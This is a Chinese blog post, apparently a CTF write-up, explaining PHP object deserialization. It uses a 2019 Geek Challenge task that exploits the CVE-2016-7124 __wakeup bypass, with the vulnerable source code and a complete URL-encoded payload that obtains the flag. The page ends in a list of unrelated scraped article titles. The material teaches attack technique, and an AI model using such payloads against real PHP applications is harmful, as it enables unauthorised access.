关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize()。

简单的理解:

序列化就是将一个对象变成字符串

反序列化是将字符串恢复成对象

这样做的意义是为了将一个对象通过可保存的字节方式存储起来,同时就可以将序列化字节存储到数据库或者文本当中,当需要的时候再通过反序列化获取 。

另外我们提一下 2016 年的 CVE-2016-7124 绕过 __weakup 漏洞,感兴趣的同学可以自己去查一下,简单来说, 就是当成员属性数??于实际数?时可绕过wakeup?法 。

好,有了这些基础知识之后,我们来看2019极客大挑战的一道简单反序列化的题目,题目环境已经复现到了buuoj平台上。

class.php源代码如下

include ‘flag.php‘;

error_reporting(0);

class Name{

private $username = ‘nonono‘;

private $password = ‘yesyes‘;

public function __construct($username,$password){

$this->username = $username;

$this->password = $password;

}

function __wakeup(){

$this->username = ‘guest‘;

}

function __destruct(){

if ($this->password != 100) {

echo "NO!!!hacker!!!";

echo "You name is: ";

echo $this->username;echo "";

echo "You password is: ";

echo $this->password;echo "";

die();

}

if ($this->username === ‘admin‘) {

global $flag;

echo $flag;

}else{

echo "hello my friend~~sorry i can‘t give you the flag!";

die();

}

}

}

?>

index.php的源代码如下:

#indedx.php

include ‘class.php‘;

$select = $_GET[‘select‘];

$res=unserialize(@$select);

?>

这里的逻辑也比较简单,在index.php页面,我们使用GET方法传给$select 变量一个值,随后对其进行反序列化。所以我们传给$select 变量的需要是一个序列化之后的字符串

接着我们看class.php, 里面有Name类的源代码,__construct是php里面的魔术方法之一,构造方法,把传递给他的username和password转为self的,同时我们还注意到有一个__wakeup()魔术方法,这里的相关基础知识是:

unserialize()反序列化时会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup方法,预先准备对象所需要的资源。

而在这里的__wakeup()函数里面会将用户名改成guest,接着进入析构函数:__destruct(),析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

而在析构函数里面就是我们获取flag的关键

这里需要我们username是admin才可以获取flag,那么按照刚才的逻辑我们是无法获取flag的,这个时候就要用到之前说到的 当成员属性数??于实际数?时可绕过wakeup?法

所以我们先输出一个username是admin,password是100的序列化字符串,同时我们将输出url编码,即:

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

我们将对象属性个数改为3,构造成最后的payload,为:

http://ip/?select= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

修改之后即可绕过__wakeup()函数,获取flag

浅谈php反序列化漏洞

php反序列化绕过,浅谈php反序列化漏洞相关推荐

  1. rails 调用php函数_潜藏在PHP安全的边缘——浅谈PHP反序列化漏洞

    潜藏在PHP安全的边缘--浅谈PHP反序列化漏洞 注意事项:1.本篇文章由复眼小组的瞳话原创,未经允许禁止转载2.本文一共1376字,8张图,预计阅读时间6分钟3.本文比较基础,请大佬酌情观看,如果有 ...

  2. 计算机网络安全漏洞及防范措施论文,浅谈计算机网络安全漏洞及防范措施论文.doc...

    浅谈计算机网络安全漏洞及防范措施 摘要 随着系统信息化建设的飞速发展,网络的建设和应用得到了广泛的普及,随之而来的计算机网络安全也成为了关系公共机关管理和发展的重大问题,如何从技术.管理等方面加强对计 ...

  3. aes key长度_原创 | 浅谈Shiro反序列化获取Key的几种方式

    点击"关注"了解更多信息 关于Apache Shiro反序列化 在shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露, ...

  4. 00005在java结果输出_浅谈Java反序列化漏洞原理(案例未完善后续补充)

    摘要: 0005,这个16进制流基本上也意味者java反序列化的开始:(2)HTTP:必有rO0AB,其实这就是aced0005的base64编码的结果:以上意味着存在Java反序列化,可尝试构造pa ...

  5. 浅谈——业务逻辑漏洞

    目录 什么是业务逻辑漏洞 产生原因 脑图 有哪些应用场景?哪些危害? 越权 支付漏洞 靶机案例 修改支付金额 密码找回绕过 越权 防御方式 参考 | 提示

  6. 浅谈SQL注入漏洞原理及利用方式

    1.SQL注入 原理: 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的恶意"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行.漏洞产生于脚 ...

  7. (原创)浅谈任意文件下载漏洞的利用

    文章写的一般,如果有错误的地方,请指教~ 0x01 任意文件下载常见利用方式 0x02 信息收集部分 0x03 代码审计部分 0x04 总结 0x01 前言 在web语言中,php和java常常会产生 ...

  8. 浅谈C#中的序列化和反序列化

    一.序列化和反序列化的概念 序列化:序列化是将对象转换为可保持或传输的格式的过程,比如转化为二进制.xml.json等的过程. 反序列化:与序列化相对的是反序列化,它将流转换为对象,也就是将在序列化过 ...

  9. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

最新文章

  1. php时间之差,PHP获得任意时间与当前时间的时间差
  2. JDBC访问数据库的基本程序
  3. android画布一闪一闪的,解决Android SurfaceView绘制触摸轨迹闪烁问题的方法
  4. 用数据库修改服务器的时间格式,如何查询数据库服务器的时间格式
  5. 作者:李崇纲,男,北京金信网银金融信息服务有限公司常务副总经理。
  6. JavaEE基础(06):Servlet整合C3P0数据库连接池
  7. H3C 路由过滤与路由引入
  8. 数据结构之红黑树简介
  9. 信息经济学与人生博弈
  10. 图片放大不清晰怎么办?
  11. 前端实现Base64图片压缩(可直接复制使用)
  12. 【ionic框架bug】slideBox在使用model或pop后width变为0的解决方案
  13. Opencv访问图像像素的三种方法
  14. 【转帖】UDIMM、RDIMM、SODIMM以及LRDIMM的区别
  15. win7添加ftp到计算机,技术编辑帮你win7系统FTP地址添加到资源管理器的收藏夹下的设置步骤...
  16. 拓嘉恒业:拼多多新品如何推广
  17. 仿新浪微博的插入#话题#
  18. 嵌入式硬件开发工程师涉及哪些工作内容?
  19. 紫光展锐启动全新品牌,进击“芯时代”,锐意新辉煌
  20. 华为云计算IE面试笔记-请描述华为容灾解决方案全景图,并解释双活数据中心需要从哪些角度着手考虑双活设计

热门文章

  1. 基于JAVA+SpringBoot+Mybatis+MYSQL的在线心理测评管理系统
  2. 基于JAVA+Servlet+JSP+MYSQL的毕业生去向管理系统
  3. ggmusic java证书过期_证书过期时的Java trustmanager行为
  4. lisp 多段线转面域_Objectarx 相交矩形求并集 面域转多段线
  5. 还原对于服务器失败 备份集中的数据库备份与现有数据库不同
  6. Bootstrap 图片
  7. 第六篇 JVM核心机制之JVM运行和类加载全过程(一)
  8. centos下配置java环境变量
  9. Java中Timer的用法
  10. Python框架篇之Django(Models数据表的创建、数据库配置)